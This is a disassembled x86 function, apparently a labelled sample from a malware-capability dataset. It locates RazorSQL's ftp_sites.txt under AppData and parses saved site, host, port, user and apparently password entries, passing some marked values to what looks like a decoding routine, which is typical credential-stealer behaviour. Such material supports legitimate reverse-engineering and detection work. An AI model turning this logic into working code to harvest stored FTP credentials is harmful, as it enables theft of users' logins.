Function at 0x430c31
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x7170
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1f5b]
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0x716c], ecx
push esi
push 0
push eax
mov byte [ebp - 0x1f5c], 0
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x1b74], 0
lea eax, [ebp - 0x1b73]
push esi
push 0
push eax
call fcn.006390b0
mov esi, str.ftp_sites.txt
lea edi, [ebp - 0x18]
add esp, 0xc
movsd dword es:[edi], dword [esi]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x430ce2
lea eax, [ebp - 0x1b74]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x430cd5
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
mov eax, str._sRazorSQLdata_s
lea ebx, [ebp - 0x1b74]
jmp 0x430ce7
mov eax, str._sdata_s
lea ecx, [ebp - 0x18]
mov edi, 0x3e8
push ecx
push ebx
push eax
lea eax, [ebp - 0x1f5c]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x1f5c]
xor ebx, ebx
mov dword [ebp - 0x7168], ebx
push 0x6c63d0
push eax
lea eax, [ebp - 0x7168]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x430cc2
cmp dword [ebp - 0x7168], ebx
je 0x430cc2
lea esi, [edi - 1]
mov byte [ebp - 0xbd4], bl
push esi
lea eax, [ebp - 0xbd3]
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xfbc], bl
lea eax, [ebp - 0xfbb]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x13a4], bl
lea eax, [ebp - 0x13a3]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7ec], bl
lea eax, [ebp - 0x7eb]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x404], bl
lea eax, [ebp - 0x403]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x4a54]
push dword [ebp - 0x7168]
push 0x2710
push eax
call fcn.006494dd
mov esi, dword [ebp - 0x716c]
jmp 0x4310ef
lea eax, [ebp - 0x4a54]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x430dfa
lea eax, [ebp - 0x4a54]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x2710
jae 0x431198
mov byte [ebp + eax - 0x4a54], bl
lea ecx, [ebp - 0x4a54]
call fcn.004047e7
lea eax, [ebp - 0x4a54]
push eax
lea eax, [ebp - 0x7164]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x7164]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x7164]
push eax
call fcn.0064ffd4
push str.sitename
call fcn.00643470
add esp, 0xc
push eax
lea eax, [ebp - 0x7164]
push str.sitename
push eax
call fcn.00650030
add esp, 0xc
test eax, eax
je 0x431030
lea eax, [ebp - 0x7164]
push str.__z_
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
jne 0x431030
push str.host
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x7164]
push str.host
push eax
call fcn.00650030
add esp, 0xc
test eax, eax
jne 0x430ecc
lea eax, [ebp - 0x4a54]
push 0x3d
push eax
call fcn.006393d0
inc eax
push eax
lea eax, [ebp - 0x7ec]
push edi
push eax
call fcn.006494f3
lea ecx, [ebp - 0x7ec]
jmp 0x430f5c
push str.port
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x7164]
push str.port
push eax
call fcn.00650030
add esp, 0xc
test eax, eax
jne 0x430f15
lea eax, [ebp - 0x4a54]
push 0x3d
push eax
call fcn.006393d0
inc eax
push eax
lea eax, [ebp - 0x404]
push edi
push eax
call fcn.006494f3
lea ecx, [ebp - 0x404]
jmp 0x430f5c
push str.user
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x7164]
push str.user
push eax
call fcn.00650030
add esp, 0xc
test eax, eax
jne 0x430f69
lea eax, [ebp - 0x4a54]
push 0x3d
push eax
call fcn.006393d0
inc eax
push eax
lea eax, [ebp - 0x13a4]
push edi
push eax
call fcn.006494f3
lea ecx, [ebp - 0x13a4]
add esp, 0x14
call fcn.004047e7
jmp 0x4310d8
push 0x6c9d7c
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x7164]
push 0x6c9d7c
push eax
call fcn.00650030
add esp, 0xc
test eax, eax
jne 0x4310d8
lea eax, [ebp - 0x4a54]
push 0x3d
push eax
call fcn.006393d0
inc eax
push eax
lea eax, [ebp - 0xfbc]
push edi
push eax
call fcn.006494f3
add esp, 0x14
lea ecx, [ebp - 0xfbc]
call fcn.004047e7
push str.VFW
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0xfbc]
push str.VFW
push eax
call fcn.0065106c
add esp, 0xc
test eax, eax
jne 0x4310d8
lea eax, [ebp - 0xfb6]
push eax
lea eax, [ebp - 0x2344]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x2344]
push str.__RIG
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x4310d8
push ecx
lea edx, [ebp - 0xbd4]
mov byte [eax], bl
lea ecx, [ebp - 0x2344]
call fcn.0043045e
pop ecx
jmp 0x4310d8
lea eax, [ebp - 0xbd4]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x4310ba
lea eax, [ebp - 0x404]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x431077
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x7ec]
push eax
push str._s:_s
lea eax, [ebp - 0x178c]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
jmp 0x43108e
lea eax, [ebp - 0x7ec]
push eax
lea eax, [ebp - 0x178c]
push edi
push eax
call fcn.006494f3
add esp, 0xc
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0xbd4]
push ecx
push eax
lea eax, [ebp - 0x13a4]
push eax
lea eax, [ebp - 0x178c]
push eax
push ecx
push 0x154
push 4
mov ecx, esi
call fcn.0043ee6b
mov byte [ebp - 0x404], bl
mov byte [ebp - 0x13a4], bl
mov byte [ebp - 0x7ec], bl
mov byte [ebp - 0xfbc], bl
mov byte [ebp - 0xbd4], bl
push dword [ebp - 0x7168]
lea eax, [ebp - 0x4a54]
push 0x2710
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x430dc9
push dword [ebp - 0x7168]
call fcn.00649273
pop ecx
lea eax, [ebp - 0xbd4]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x431190
lea eax, [ebp - 0x404]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x43114d
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x7ec]
push eax
push str._s:_s
lea eax, [ebp - 0x178c]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
jmp 0x431164
lea eax, [ebp - 0x7ec]
push eax
lea eax, [ebp - 0x178c]
push edi
push eax
call fcn.006494f3
add esp, 0xc
push 0xffffffffffffffff
mov edx, 0x6c5bb9
lea eax, [ebp - 0xbd4]
push edx
push eax
lea eax, [ebp - 0x13a4]
push eax
lea ecx, [ebp - 0x178c]
push ecx
push edx
push 0x154
push 4
mov ecx, esi
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x430cc4
call fcn.00612782
int3